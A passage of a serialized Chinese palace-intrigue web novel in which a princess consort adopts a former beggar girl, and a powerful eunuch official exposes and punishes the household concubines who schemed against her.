不过,这次的话题与景平王那些荒谬的消息无关,是王妃和她即将收养的小姑娘的故事。 说起来,景平王妃身边总是带着个小姑娘的事情,京中众人看着也已经不稀奇了。 王妃在京中有不少铺子,只要她前往查看,那小姑娘也一定会在。 若说是丫鬟也太小了,不是没人私下打听过这小姑娘的身份,可王妃手下从掌柜到伙计,皆是守口如瓶。 除了知道她曾经是个小乞丐,众人便再也打听不到什么。 直到如今才被叶晚竹亲自放出风声。 原来是养女! 好端端的,王妃为何要收养一个小乞丐? 景平王无疑还健在,更别说王府里还有已经八岁的小世子,王妃的亲生儿子。 怎么看,景平王妃都不至于要收养孩子。 难道……是这两位王府的主子有什么不可告人的秘密? 王妃的消息放得一清二楚,没什么可猜测的余地,众人念叨来念叨去,最终还是又绕回了萧子景身上。 景平王身上也算是劣迹斑斑,不知道这次又做了什么样的好事,才让王妃有此举动? 都是人,前来参加宴会的宾客们和城中百姓的猜测也差不多。 华灯初上,景平王府已经沉浸在热闹的氛围之中。 宾客云集,人头攒动,陈夫人催着引路的丫鬟加快步伐,终于看见了站在前厅廊下的叶晚竹。 她三步并作两步走了过去。 “陈姐姐来了。” 招呼了她一句,叶晚竹又让站在自己身边的小花上前叫人。 小花今天穿了新做的衣裳,一头半长的头发却还是扎成了利落的马尾。 她总跟着叶晚竹到蕴秀阁去,和陈夫人等早已熟悉了。 “这样的事情,你竟然一丁点儿都没透露过!” 摸摸小花的脑袋,陈夫人故意朝着叶晚竹冷笑。 叶晚竹也不反驳,面上的笑容又深了几分。 “我也是迫于形势啊,为了补偿几位姐姐,我今天可是准备了一场大戏。” 她挑着眉头,眼中明明白白地写着不怀好意。 被叶晚竹的表情勾起了兴趣,陈夫人上前两步,靠在她身边也转了转眼珠子。 “外面现在可都在说,是景平王做了什么事,才惹得你给自己重新选了个女儿……” 萧子景是如何被叶晚竹拿捏折磨的,陈夫人等人从一开始便看在眼中。 若只是小打小闹也就罢了,认养女这样的事情,萧子景竟然也能同意? 联系叶晚竹说的好戏,再看她这幅恶劣的表情,陈夫人心中模模糊糊已经有了想法。 叶晚竹但笑不语,只轻轻在陈夫人背上推了一把,将她朝花厅推了过去。 花厅里同样张灯结彩,由书画和陈嬷嬷带头,一众下人们正有条不紊地做着宴会开场前的各种准备。 只是…… 陈夫人的目光从几个手脚哆嗦,一看就十分害怕的小厮身上扫过。 这是怎么了? 景平王府的小厮还怕人多不成? 等再往前走几步,陈夫人又发现不对劲了。 花厅里的人更多,但怎么这么安静? —— 今晚前来王府赴宴的宾客们事先绝对不会想到自己会看到这样的景象。 屋中桌上摆满好酒好菜,下人们来来往往地接待,景平王妃带着新入府的小姐笑脸相迎—— 一切似乎都很正常,可景平王和小世子是怎么回事? 怎么一个像猪头,另一个像缩小版的猪头啊! 景平王鼻青脸肿,发紫的眼眶比眼睛还宽,也不知道能不能看见外面的东西。 小世子萧延也好不到哪里去,脸颊高高鼓着,看上去好像随时都能将皮肤撑破。 这二人一动不动地坐在一张方桌上,左右各配着一个面无表情的侍卫,四人围成一圈,坐在主桌旁边,那模样,别提多诡异了! 他们身边还有一把轮椅,椅子上的人脸色灰白,被一条厚厚的毯子盖住双腿,他垂着头,让人看不清面目。 ……这就是王妃说的好戏? 陈夫人忍不住摸了摸心口。 这出戏未免也太刺激了些。 “王妃和小姐来了!” 书画的声音这时候从屋外传来,叶晚竹牵着小花的手,笑容满面地走进了花厅。 在她们身后,另有一道脚步声也跟着响起—— “九,九千岁?” “见过九千岁!” 谢无咎笑吟吟的脸出现在灯光下,众人一阵惊慌,随后纷纷起身跪地。 “免礼免礼!” 唉了一声,谢无咎将袍袖一甩。 “本督今晚也是景平王妃邀请而来的客人,只为观礼而来,不必多礼,就座吧!” 话虽如此,他脚下动作却并未停歇,大步流星地走到主位上,一屁股坐了下来。 众人三三两两,重新坐下的时候,谢无咎好像刚刚才发现方桌那边的景象。 “诶呦!”他夸张地大惊小怪着,“王爷,您这是怎么回事?梦游不小心摸进我们东厂去了?” “……” 萧子景呼吸一滞,顺着他的声音转过头,还没来得及再做出什么反应,谢无咎便控制不住地喷笑出声。 萧子景眼前一片漆黑,什么都看不见,直到方才听见谢无咎的声音,才知道他今晚也在! 一个贱妇,一个阉贼! 狼狈为奸! 呼哧呼哧地喘着粗气,萧子景却不敢有更多的动作。 是疼的,也是怕的。 简直欺人太甚! 另一边,叶晚竹权当听不见谢无咎的阴阳怪气,朝书画招了招手,让她将放着茶杯的托盘端了过来。 只要小花敬杯茶,改个口,这件事就算正式落定了。 余光扫到这边的动作,谢无咎立刻收了声,一本正经地看过去,众人也跟着安静下来。 当着满屋子的人,小花端起茶杯,大声朝叶晚竹道:“母亲请喝茶!” 叶晚竹接过茶杯抿了一口,又将一个厚厚的红包放进小花手里。 “礼成!”陈嬷嬷站在一旁,中气十足地吆喝了起来。 小花兴高采烈,一把扑到叶晚竹怀中,花厅中剩下的人则是面面相觑,表情十分幻灭。 这,这就完了? 第一百二十章 算计王妃,胆大包天! 第一百二十章 算计王妃,胆大包天! 是不是有什么地方不太对劲啊! 这小姑娘入王府,只给王妃敬茶? 王爷呢? 陈夫人等照旧坐在一起,卫夫人忽然瞪圆双眼,胳膊肘猛地杵上两边夫人的腰! “我们一直都听说,是王妃要收养小花啊!” 她压低声音,一双眼亮闪闪地发着光。?微:¢趣o<§小\说aa网§> ?1|更;新u$?最?¥快@ 王妃,收养,小花。 这几个字,和景平王没有半点关系! 陈夫人和沈夫人互相看了一眼,神情也变得微妙了起来。 “咳咳。” 谢无咎这时候清了清嗓子,含笑站起身来,表情难得正经。 一众猜测纷纷的宾客们也随之再次安静下去。 “本督受王妃所托,替叶家小姐取名。” 此话一出,屋中的声响不能自已地又响了起来。 叶家小姐? 小花真不是要被王府收养,而是被王妃本人收养? 景平王妃这是什么意思? 众人窃窃私语,谢无咎却首次将目光正式落在小花身上。 他眉目分明含笑,周身却依旧带着一丝冷冽的气息。@|:齐=3盛?小@d说1网? t更+??新§最¤快?/ 小花站直了身子,毫无畏惧之心。 谢无咎点了点头。 也是个胆大的。 难怪入了叶晚竹的眼。 “请九千岁赐名吧。”叶晚竹上前一步,抬手搭在小花肩头。 “既是夏日结缘,本督看,不妨就叫叶菡,王妃觉得如何?”谢无咎背着双手,语气轻缓。 小花本就是花,如今有了新名字,也还是一朵花。 叶晚竹不出声地念了几遍,“多谢都督赐名。” “多谢都督!”小花也有样学样,“都督起的名字好听!” 虽然她也不知道菡是啥! 谢无咎哈哈大笑起来。 待走完仪式,宴会便正式开始了。 有谢无咎在场,无论他的态度多么和气,宾客们始终放不开手脚,就更别说一旁方桌上还有那么奇形怪状的三个人了。 萧子景和萧延的嘴都肿得老高,面对满桌珍馐也吃不下半点,萧子易更是只顾垂着头兀自发抖,根本没有往桌上看过一眼。 谢无咎的兴致倒是很好,许是因为起名,他和小花快速地熟悉起来,被小花拉着叽叽咕咕地说了不少话。 抛开叶晚竹和自己的人,这恐怕是在场唯一一个不怕谢无咎的人。*幻¤$′想·,?姬ˉa· ¢|2更§£新%最x\¨快@ 月上中天,这场奇诡的宴席也落下了帷幕。 将宾客们送上马车离开,叶晚竹一回头便看到谢无咎优哉游哉地从身后的黑暗中独自走了出来。 “小花睡着了,书画送她回去。”对上叶晚竹问询的视线,他轻轻一耸肩。 “多谢九千岁,”叶晚竹扯了扯嘴角,这一晚着实有些累人,“九千岁也请吧?” 正好把他也送出去。 谢无咎却停住了脚步。 “谁说本督要走的?”他抱起双臂,“本督今晚还有一件事没办呢。” 还有什么事? 叶晚竹不解地看了过去,却见谢无咎躬下身子,朝她做了个请的手势。 “王妃随我来吧。” 谢无咎很快又将叶晚竹带回了前厅之中,看着已经被整理干净的屋子,还有依旧坐在方桌边,动作僵硬的萧子景,叶晚竹脚下顿了顿。 宴席刚一宣布结束,萧子景离开了隐风的控制,便立刻往后院逃去了。 怎么这会儿又回来了? 按着萧子景肩膀的人从隐风变成了隐月,他笑眯眯地朝叶晚竹点头行礼。 “九千岁,您这是要做什么?” 双目不能视物,萧子景只能茫然地朝厅中大吼着。 他受到的羞辱难道还不够吗! 天知道,叶晚竹声称为了让他无法破坏今晚的宴席,每天都来打他的脸! 现在谢无咎还不肯放过他! 真当他是泥人捏的,没有半点脾—— “疼!疼疼疼!” 肩膀忽然传来一阵钻心的疼痛,萧子景连连倒吸着冷气。 “景平王瞧着对九千岁大人很不满啊,”隐月凉飕飕的声音在他耳边响起,“脸都肿成这副德行了,小的还是能看得出来呢。” 又是这个阉贼的阉手下! 萧子景忿忿地闭上了嘴。 “王爷别急,您想知道的马上就来。” 谢无咎将叶晚竹引到一旁坐下,仿佛他才是这王府的主子,一边轻飘飘地“安抚”着萧子景的情绪。 萧子景再次被迫安静下来。 他看不见,叶晚竹倒是能看得一清二楚,隐风隐川来回跑了几趟,将几个箱子不知道从什么地方搬到了屋中来。 那箱子上蒙着黑布,看起来十 分神秘。 这是什么东西? 等叶晚竹再多看两眼,又有凌乱的脚步声从屋外响起。 在隐翼的逼视下,一行神情犹疑,瑟瑟发抖的姨娘们走进了屋中。 她们来做什么? 不知道是谁第一个看见了萧子景的脸,又顿时发出一声急促的抽气。 萧子景也听出了自己妾室们的声音,忍不住挣扎几下,又被隐月更加用力地按住了肩膀。 “谢无咎,”他咬紧牙关,“你想干嘛?” “这话应该是我问才对。” 谢无咎背着双手,不紧不慢地朝姨娘们走去。 “不过不是问王爷,而是问你们,”他鹰隼一样的目光落在脸色发白的几个姨娘身上,“暗中算计王妃,你们想干嘛?” 距离谢无咎最近的几人哆嗦得不能自控,其中一位吴姨娘正好和他视线相对,脚下一软,却强撑着开口。 “九,九千岁大人明察,我等怎么敢算计王妃呢!” “哦——不敢?” 谢无咎又拉长了调子,嘲讽之情溢于言表。 “让本督算算啊,”他掰着手指,“郭姨娘可以先放到一边,毕竟王妃已经知道了。” “剩下的人里,王姨娘计划跳湖再反咬一口,说是被潇湘院的下人欺凌;赵姨娘让丫鬟打了自己二十个耳光,想嫁祸王妃;李姨娘更是奇思妙想,打算到王妃脚边碰瓷,再安排让景平王看见——本督都没说错吧?” 被他点到名的几位姨娘同时打起了哆嗦,看向谢无咎的时候,眼底满是恐惧。 这些计策有的没成功,有的压根还没开始。 九千岁怎么都知道? 叶晚竹也讶异地看着姨娘们,目光又渐渐落到谢无咎的身上去。 这些事情,她怎么都不知道! 第一百二十一章 顺手帮王妃一个小忙 第一百二十一章 顺手帮王妃一个小忙 谢无咎素来有无所不知的名号,叶晚竹也知道这景平王府里发生的事情,多半逃不过他的眼睛。>*3{<8¥看!书o网<\ -¤÷追{¨最^*新>¤章?xa节` 但谢无咎向来不会贸然插手,眼下这是怎么回事? “王妃别这么看着本督。” 分明背对着叶晚竹站在身前,谢无咎却好像长了后眼一般忽然开口。 “这种低级的手段,还不配让本督出手,否则,岂不也是太看不起王妃了吗?” 只是几个闹不出多大动静的姨娘罢了,谢无咎若是动手,未免太小题大做。 叶晚竹本也不相信,闻言打消了怀疑,便又朝着这些妾室们看了过去。 除了惊吓过度,昏睡不醒的郭姨娘,还有阮莹莹之外,其余全员到场。 叶晚竹的视线缓缓扫过每一个人。 苏姨娘和杨姨娘形容憔悴,未施粉黛,已经被谢无咎点破心思的那三位依旧在瑟瑟发抖,心虚地避开叶晚竹投来的目光。 那就只剩下—— “瑶芳姑娘?” 叶晚竹朝站在最侧方的那位看了过去。 六人之中,她的状态也是最镇定的。 “不错,是我。*l¨u,o,l-a¢x¢s-w,.?c*o?m*” 被点到名字,瑶芳姑娘大大方方地点了点头。 “王姨娘是我捞起来的,赵姨娘也是我让人拦下来的。” 至于李姨娘的计划,也是她的下人偷听而来,不过还没有来得及实施。 “为什么要这么做?”叶晚竹挑了挑眉。 这几位姨娘都是为了针对她,而她和瑶芳姑娘非亲非故,甚至眼下才是第一次见面。 瑶芳姑娘笑了笑,眼底却什么情绪都没有。 “她们之所以会想算计王妃,都是因为受了阮姨娘的指使,而我不想让阮姨娘得逞,也就顺手帮王妃一个小忙了。” 说到阮莹莹的时候,瑶芳姑娘的神情变得难看起来。 她本是花魁,一朝被景平王赎身买下,虽然是为人妾室,但总归能安慰自己,从此有了个安心的落脚之处。 谁知道,纳妾当晚,那位在京中也算小有名气的阮姨娘撞墙自尽! 出了这样的事,萧子景自然是将洞房花烛抛到了一边,后来恢复了对阮姨娘的宠爱,就更加想不起瑶芳是什么人了。 瑶芳本也不算在意,谁知阮姨娘脱离危险之后,竟然带着人找上了自己。 她这才知道,原来那天晚上是一场精心设计! “多亏了妹妹入府,才给了姐姐这样一个机会,如今姐姐也给妹妹一个机会,替我办件事,如何?” 彼时阮莹莹失血过多,连说话都还很虚弱,一双眼却闪烁着浓重的阴谋算计。`j^i`n*j′i*a¢n-g/w?x-c¨.,c`o~m\ 她要瑶芳趁无人在意时跳到王府花园的湖里,好嫁祸给景平王妃。 “王爷最近忙着照顾我,应该还没有到妹妹那里去过夜吧?”阮莹莹的目光居高临下地朝瑶芳扫着,“办好这件事,姐姐替你将王爷叫去,也好早日让妹妹在这府中能名正言顺地生活。” 瑶芳只想冷笑。 害人的事情,说得这么光明正大干什么? “我拒绝了阮姨娘,她看上去非常气急败坏,后来没过几天,我就听说王姨娘掉到湖里去了。” 抱起双臂,瑶芳姑娘朝脸色晦暗的王姨娘看了一眼。 “要不是我去的及时,王姨娘早已经被淹死了。” 那天不止王姨娘吓得半死,瑶芳姑娘也心有余悸。 阮莹莹嘴上说的好听,其实就是想让她们和王妃斗起来,最好能两败俱伤吧? 那她偏不! 不仅如此,她还要盯紧阮莹莹,不让她的奸计得逞! 瑶芳姑娘的话说到差不多的时候,阮莹莹也被带着进到了花厅之中。 一看见站在屋子中央,笑容和煦的谢无咎,她的腿肚子先打了几个哆嗦,等听见瑶芳姑娘说话的内容,表情变得更加难看。 “妹妹来了?”叶晚竹将眼神从瑶芳姑娘身上挪开,“来,妹妹也讲讲吧,你准备怎么害我?” 阮莹莹的笑比哭还难看。 “姐姐莫要嘲笑我了,”她干涩地扯着嘴角,“这,我都不知道这是怎么回事……” 该死的瑶芳! 她就说为什么那些挑唆都没有出现在叶晚竹面前! 原来是这个贱人干的! “妹妹不承认吗?”叶晚竹闻言毫不意外,只是面上一片疑惑,“这可就难办了,你和瑶芳姑娘,总得有一个人在撒谎才是。” 阮莹莹顿时抿着嘴唇,变得楚楚可怜起来。 “都是我不好,毁了瑶芳姑娘入府的宴席,姑娘心中有怨,也是人之常情。” 因为瑶芳有怨,所以要捏造事实,栽赃阮莹莹? “荒谬!” 瑶芳姑娘冷冷地丢出一句 ,抱起双臂,一双耳朵都泛了红。 “公道自在人心,左右九千岁也在这里,真相究竟如何,阮姨娘与我拭目以待好了!” 她没做过的事情,就是没做过! 阮莹莹垂下目光,片刻后又要开口,却听见叶晚竹的声音响了起来。 “姑娘这话说的倒是没错,但跟贱人是没道理可讲的。” 笑眯眯地看着阮莹莹略显慌张地抬起头来,叶晚竹上前两步,抬手一个大耳光结结实实地扇在她脸上! 她能不知道是谁更想算计自己吗? “妹妹最好老实点,在我还有耐心的时候抓紧时间认错。” 揪起阮莹莹的衣领,叶晚竹眼中跳动着疯狂的光。 阮莹莹先是回不过神,片刻后又挣扎起来。 “放开我!姐姐无凭无据,怎么就能认定这事情是我干的?” “妹妹要凭证啊。”叶晚竹若有所思片刻,“九千岁大人正在,不如让他把你带回东厂,你好好找凭证?” 谢无咎一直束手站在一旁,闻言立刻上前两步,躬身低语。 “本督这就让人将三层地牢打开,随时恭候阮姨娘大驾光临。” 阮莹莹便在叶晚竹手下不住地哆嗦起来。 “那就现在吧!” 又笑了一声,叶晚竹抬手便要将阮莹莹丢给隐翼。 “不,不要!” 阮莹莹摇着脑袋,唯有死死抱住叶晚竹的胳膊。 她恳求的目光朝上看来,“姐姐,我,我……” “你什么?”叶晚竹笑得十分好奇,“你是准备承认你挑唆府中姨娘来算计我,顺便害死几个,好给你自己扫清障碍的事情吗?” 第一百二十二章 上好的鹤顶红,喝! 第一百二十二章 上好的鹤顶红,喝! 阮莹莹险些将嘴唇都咬破。′j\i¨n+g¨w_u\h·o,t¨e~l′.?c?o\m* 她能不承认吗? 只怕立刻就要被抓到东厂去了吧! 可若是要承认……恐怕也落不得什么好下场! 进退两难,阮莹莹忽然身子一软,没骨头似的往地上滑了下去。 叶晚竹松开手,好笑地看着阮莹莹在一声闷响落地后,极力控制着自己不要皱眉的模样。 连装晕这招都用上了。 “王爷啊,”叶晚竹优哉游哉地看向萧子景根本睁不开的双眼,“阮姨娘如此胆大包天,按照家法,应该如何处置?” 萧子景早就坐在椅子上浑身僵直,听见叶晚竹的声音,呼吸又变得粗重几分。 这些事真的是莹莹干的? 可他已经冤枉过莹莹一回了! 但瑶芳也没有撒谎的理由啊…… 心中天人交战着,萧子景长久地沉默,落在叶晚竹眼中,也是一副要装死的样子。 “王爷和妹妹真是绝配,”她挑了挑眉,“既然如此,本王妃更不能随便冤枉好人了。” “阮姨娘祸乱后宅,闹得人心惶惶,就罚家法二十吧。” 二十鞭? 躺在地上装死的阮莹莹险些没控制住自己面上的表情。-|÷求§书¥*帮dd; /已:*o发¢?&布1_最)新@?章??节·±) 被那条可怕的鞭子抽二十下,她还能有命在吗? “这未免有些太过分了吧!” 萧子景也努力蠕动嘴唇,含含糊糊地开了口。 “莹莹头上的伤还没好,你这样罚她,岂不是要把她往死路上逼?万一莹莹有个什么三长两短,这个责任,你承担得起吗!” 萧子景一席话说得十分费力,叶晚竹听罢又轻笑起来。 “王爷真是贴心,我都忘记了妹妹脑袋上还有一块拿我做筏子才撞到的伤。” 阮莹莹的手指终于不能控制地哆嗦了几下。 叶晚竹的声音又在她身前响起。 “那就这样吧,王爷治家不严,替阮姨娘受十鞭——不,十二鞭好了。” “什么——” 萧子景还没反应过来便被隐月一把扯了起来,踉踉跄跄地朝院外而去。 “王妃累了一天,这点小事,就交给小的办吧!” 隐月笑得不无狰狞,路过阮莹莹的时候,顺手将她也捎带走了。 这景平王一见他就鼻子不是鼻子,眼睛不是眼睛的,哪怕没有王妃这层关系在,隐月对这位也是积怨日久。 如今现成的机会在手,他十分乐意效劳! 叶晚竹略一颔首,又让隐风去将鞭子取来。\w¢z-s`x.s¢._c-o/m! 萧子景不住挣扎,阮莹莹“醒来”后也开始哭泣,两人绝望的声音在夜空中回荡,引得屋中人人脸色发白。 谢无咎这时上前一步,将房门悄无声息地关上了。 “现在,该说说你们的事情了。”他再度看向姨娘们。 今天晚上这阵仗一看就别想轻松度过,除了真问心无愧的瑶芳姑娘,余下几人争先恐后地哭喊起来。 “妾身是被阮姨娘威胁的,她说,如果我不按她的话做,就让妾身先倒霉啊!” “都是阮姨娘逼的!妾身万万不敢算王妃!” “求王妃开恩啊!” 被五六个姨娘团团包围,叶晚竹还没开口,谢无咎的哼笑又到了。 “若你们真有自己说的这样纯良,为何这么多天都没有找机会和王妃说明真相啊?” 那王姨娘,自己差点儿被淹死,缓过神来之后还是照样在阮莹莹身边绕来绕去。 阮莹莹想利用她们,她们也在想方设法利用阮莹莹呢。 都不是什么好东西。 谢无咎忽然一挥手,将放在屋中,被忽略了许久的那几个箱子上的黑布一把掀开了。 叶晚竹顺着他的动作看去,又见谢无咎打开箱盖,从里面拿出一个精致的瓷瓶。 “上好的鹤顶红。” 将瓶子托在手里,谢无咎忽然又笑了起来。 “哪位想尝尝?你们实在是太吵了,吵得本督有些头疼,需要安静。” 刚刚还在哭嚎着的姨娘们齐齐住了口,屋中瞬间鸦雀无声。 院中,隐月挥动鞭子,狠狠抽打在皮肉上的声音伴着萧子景的哀嚎传了进来。 “谁做第一个?” 不等姨娘们反应,谢无咎又把瓶子往前松了松。 姨娘们慌忙后退,却被隐翼寒着脸一把拦住。 “干了害人的事情,几位不会想全身而退吧?”谢无咎的眼神也变得冰冷。 他缓缓扫过众人。 “都不想当第一个?那就一起喝,到了黄泉路上,你们还能赛跑。” 这话落下,谢无咎也彻底收敛起所有表情。 他阴沉沉地束手站着,让人不敢生出半分忤逆的 心思。 “自己去拿,别让本督动手。” 姨娘们面面相觑,眼中都露出了绝望。 谁敢当面和九千岁对着干? 那怕是要死得比喝鹤顶红还快! 不知是谁带头,几人拖着烂泥一样的双腿,哆哆嗦嗦地拿起了箱子里的一个个小瓷瓶。 “喝。” 迎上几人绝望崩溃的目光,谢无咎只是抬了抬下巴。 在他这里讨不到好,众人又不约而同是地将目光朝叶晚竹投了过去。 “王,王妃……” 苏姨娘哆嗦着嗓子,眼中满是求救。 这回她可是真的什么都没干啊! 叶晚竹刚要开口,眼前暗影一闪,谢无咎轻飘飘地上前一步,隔绝了姨娘们的视线。 他朝着叶晚竹晃了晃手中的那个瓷瓶,不知什么时候已经打开了封口。 叶晚竹抬眸便对上了他似笑非笑的一双眼睛。 “九千岁的命令,你们也敢违背?” 下一刻,隔着谢无咎的背影,叶晚竹的声音平静无波地响了起来。 真要喝啊? 姨娘们浑身一僵,还在挣扎的时候,谢无咎侧过了脑袋。 他眼神冰冷,似乎很想亲自动手,将这些瓷瓶塞进几人的嘴里。 齐齐打了个寒颤,又听着外面不似人声的哀嚎,姨娘们哆哆嗦嗦地将药灌入口中。 听说这鹤顶红是剧毒,希望能让她们死得痛快点! 总好过被活活打死! 这怕是姨娘们唯一的慰藉了。 服下瓶中的毒药,绝望的哭声紧跟着响起,姨娘们紧闭双眼,等待着毒发身亡。 院中的鞭打还没结束,惨叫的人倒是换成了阮莹莹。 一鞭,两鞭,三鞭—— 这么长时间都过去了,怎么还没死? 第一百二十三章 九千岁他不是…… 还能喘气,还有心跳,姨娘们忍不住惊疑万分地睁开双眼。 她们先互相看看,然后便又对上了一脸笑容灿烂的谢无咎。 此人看上去与方才截然相反,简直像是长了同一张脸的两个人! 姨娘们无所适从,谢无咎却好整以暇地背着双手,仿佛知道她们在疑惑什么。 “这可是本督精心调配的新型鹤顶红,能把毒发的过程拉到最长,大概还有六个时辰。” 抬头看了一眼已经变得漆黑的天色,他又继续道:“这段时间,你们还有什么未竟的心愿,那就抓紧时间吧。” “这毒药会从胃里一点一点往外渗,慢慢侵蚀,最后将你们化为一摊血水……” 谢无咎越说声音越低,神情也变得晦暗不明。 姨娘们则是七上八下,一根筋绷紧到了极限,连哭都哭不出来。 死得快这唯一的优点也没了! 说完了话,谢无咎又不耐烦起来,挥手让隐翼将所有人撵走。 房门一开,铺天盖地的血腥气传来,隐月那边也停了手。 谢无咎快走两步,笑眯眯地在萧子景面前站定。 “怎么样啊王爷,英雄救美的感觉如何?” 萧子景这会儿俨然是进气少,出气多,虽然听见了谢无咎的嘲讽,但却连动一下的力气都没有了。 隐月这十二下鞭子抽得毫不留情,他一度以为自己撑不过来了! 阮莹莹跪趴在萧子景身边,情况也好不到什么地方去,呕出一大口鲜血,狼狈地咳嗽着。 她毕竟挨的鞭子少,奋力抬头朝谢无咎看来。 “你,你这是滥用私刑!” 许是被打得神志不清,阮莹莹已经没了对谢无咎的畏惧,眼中也显出了恨意。 谢无咎不在意地笑了笑。 “阮姨娘大可以去报官,只是若你如此,那我也只好让大理寺的人听听,你在府里是怎么耍弄阴谋,教唆谋杀的。” 见阮莹莹哆嗦了一下,他又半弯下身子去。 “想报复,本督随时欢迎,只不过,在此之前,希望阮姨娘你先把自己的尾巴藏好。” “还有王爷。” 不管阮莹莹有没有听懂,谢无咎转过身子,抬手在萧子景脸上拍了两下。 他掌心冰冷,动作粗鲁,激得萧子景硬是哆嗦了一下。 “景平王,你最好安分守己一些,本督可是非常乐意抓到你的破绽。” 丢下这么一句话,谢无咎站起身,头也不回地朝院外而去。 “王妃莫送了,”他朗声大笑,“早些休息,本督认得路!” 他都这么说了,叶晚竹便心安理得地收回要跟上的动作,让人将一片狼藉的花厅处理干净,便拖着脚步往潇湘院而去。 时候不早,她也有些累了。 小花早就已经睡下,潇湘院灯火幽暗,书画放轻脚步,打着灯笼将叶晚竹迎进屋中。 “王妃……”她蹙着眉头,“苏姨娘她们,她们……” 她们真喝鹤顶红啦? 王府的消息传得飞快,叶晚竹并不意外,不过看着书画欲言又止的表情,她还是挑了挑眉。 “怎么了?” 书画越发吞吞吐吐的。 “奴婢,奴婢觉得苏姨娘她们罪不至死,况且……” 知道姨娘们构陷自家王妃的时候,书画气得连连跺脚,若不是要照顾小姐,她真想冲到花厅,指着这些人的鼻子,骂她们一个狗血淋头! 可等听见姨娘们喝了鹤顶红,书画又心下恻恻起来。 说到底,真正要害人的,是阮姨娘啊! 那些王姨娘李姨娘的,心思不纯是事实,活该多挨两顿打,但就这么丢了一条命…… “况且什么?” 见她踟躇,叶晚竹追问着。 “况且,奴婢觉得九千岁不是那样不分青红皂白的人。” 回过神,书画小心翼翼地把话说了出来。 叶晚竹这下当真有些疑惑了。 书画向来畏惧东厂和谢无咎这个九千岁的名头,竟然会说出这样的话? 似乎是被她好奇的目光盯得不好意思,书画又跺了跺脚,“王妃!” 九千岁杀的都是贪官污吏,好端端的,对付几个姨娘干什么! “好了。” 见状,叶晚竹露出一个有些神秘的笑容。 “等到了明天,你就知道了。” —— 与此同时,萧子景被几个战战兢兢的下人抬着,小心翼翼地放在默言阁他自己的床上。 感受到伤口的拉扯,萧子景忍不住又倒吸了一口冷气。 那该死的隐月,说是替他止血包扎,下手时却无比凶狠,力道大得好像要把萧子景一身的皮全都扒下来似的! 想起隐月,这一晚上的遭遇也争先恐后挤进脑海。 萧子景又打了个哆嗦。 周遭安静下来,他忽然感到一阵强烈的屈辱感。 他鼻青脸肿的模样,今晚被所有人看去了! 等到明天,还不知道有什么样的流言迎接他! “夏至呢?夏至在什么地方?” 萧子景用尽全身的力气抬起头来。 屋中几个小厮闻言都摇头,萧子景正要再问,便听见外面传来了熟悉的脚步声。 “进来!”他忙不迭地大声呼喊着,又嫌弃地看向左右,“都下去!” 小厮们和夏至擦肩而过,又将房门关上,夏至一抬头看见萧子景的尊容,忍不住眼角哆嗦。 “王爷,您……” “别说废话了!” 喘着粗气摆了摆手,只是这一个动作,便让萧子景感到一阵天旋地转。 他用力咬住脸颊内侧的肉,好让自己保持清醒。 “怎么样,有什么情况?” 夏至闻言收起关心,快步走到床边,在萧子景脸前蹲了下来。 “王爷您真是神机妙算,猜得一点儿不错。” 他把声音压到最低,萧子景必须屏住呼吸,才能听见夏至在说什么。 “五天前,王妃的确一早就去了东厂,她独自一人,还在里面呆了很长一段时间才出来……” 说着话,夏至又从怀里摸出一个皱皱巴巴的信封。 “这是线人递出来的。” “……念!”萧子景含糊不清地道。 夏至扯开信封,眼神先朝身后飞快地扫了一下,这才落回信纸上。 “九千岁……” 第一百二十四章 他不是太监?你看见了? “……你说谢无咎怎么了?” 正午明媚的阳光将御书房照得流光溢彩,细小的灰尘拂过地面,又被萧子景磕头的动作震散。 “九千岁并未净身,他,他不是太监!” 萧子景的脸依旧肿着,这让他说话还是含糊不清,奋力将这几个字挤了出来。 昭德帝穿着一身家常的轻便袍子,坐在书桌后,死死盯着萧子景的后脑勺,一语不发。 福顺公公不住地偷瞟了圣上好几眼,做好了圣上随时拍案而起和就此昏厥的两手处理准备。 毕竟景平王这话说得也太离奇了! 景平王已经称病五六日了,圣上原本没打算理会,谁知今日早朝刚一结束,景平王便带着折子来到宫中求见。 他这一脸的伤,把福顺公公都吓了一大跳。 昭德帝看样子也大受震撼,连说话都一度放轻了语气,但等看到景平王呈上来的折子,再听他说的话,圣上很难再维持对他的同情。 “怎么,你看见了?” 就在这时,昭德帝冷冷的声音忽然响起,带着一丝颤抖。 福顺公公忍不住连忙低下头去,免得表情失控。 圣上这是不是已经被景平王气得失去了理智? 连这种问题都问出来了! 下方,萧子景也是一哽。 他怎么看见? 脑海中瞬间侵入几幅画面,萧子景打了个哆嗦,猛地又俯身下去。 “微臣,微臣不敢……!” “那你是怎么知道的?” 昭德帝的问话又响了起来,质问的意味更浓了。 “微臣……”萧子景吞吞吐吐着,“微臣也是阴差阳错,偶然得知,不敢隐瞒,特来报告圣上!” “微臣所言句句属实,请陛下一定要相信啊!” “朕看你是脑子不清醒!” 昭德帝愤怒地抄起萧子景刚呈上来的奏折又丢了下去! “滚回去养伤,别出来丢人现眼!” 奏折精准地砸在萧子景脑袋上,发出一声闷响,萧子景忍着疼一动不动,又给昭德帝磕了个头。 “陛下,微臣说的都是实话,绝不敢有半分污蔑之意!陛下若是不信,让人前去东厂一查便知,微臣,微臣愿立下军令状,若有一句——” 他以头抢地,闭着双眼表决心,却错过了上首昭德帝越变越难看的脸色。 “哗啦”一声,昭德帝袖袍一甩,将满桌东西一个不剩,全都拂落在地! 噼里啪啦的动静终于让萧子景闭上了嘴。 片刻后,屋中安静下来,只能听见昭德帝压抑着愤怒的呼吸声。 “萧子景,你是不是觉得,你救了朕一命,朕就会让你为所欲为?” 昭德帝方才便已经站了起来,这会儿双手撑在空荡荡的桌子上,看着下方的眼中带着冰冷的寒气。 萧子景只感到后脖颈好像被什么东西压住了一样,坠得抬不起头,连动一下的力气都没有。 “你在王府里干的那些荒唐事,真以为没有传到朕的耳中吗?朕曾经跟你说过什么,你全都当成耳旁风,是不是?” 昭德帝气得浑身都在哆嗦。 将那阮姓女子纳为姨娘,是无可奈何的补救之法,不是给萧子景的通行令牌! “一连七房妾室,萧子景,你把你的王妃置于何地?” 越想越气,昭德帝又一巴掌拍在桌上! “你在府里作威作福惯了,感觉没意思,连朕手下的人都想戏弄是吧?下一个是谁?要不要朕让人把你现在就送到金銮殿去,让你一劳永逸啊?” “微臣不敢啊!” 这话听着太吓人,萧子景连忙哀嚎,顾不上自己肿胀的额头,一下接一下地给昭德帝磕起头来。 “微臣万万不敢有如此想法,微臣这也是为了圣上着想啊!” 犹不死心,萧子景遏制着哆嗦个不停的牙关。 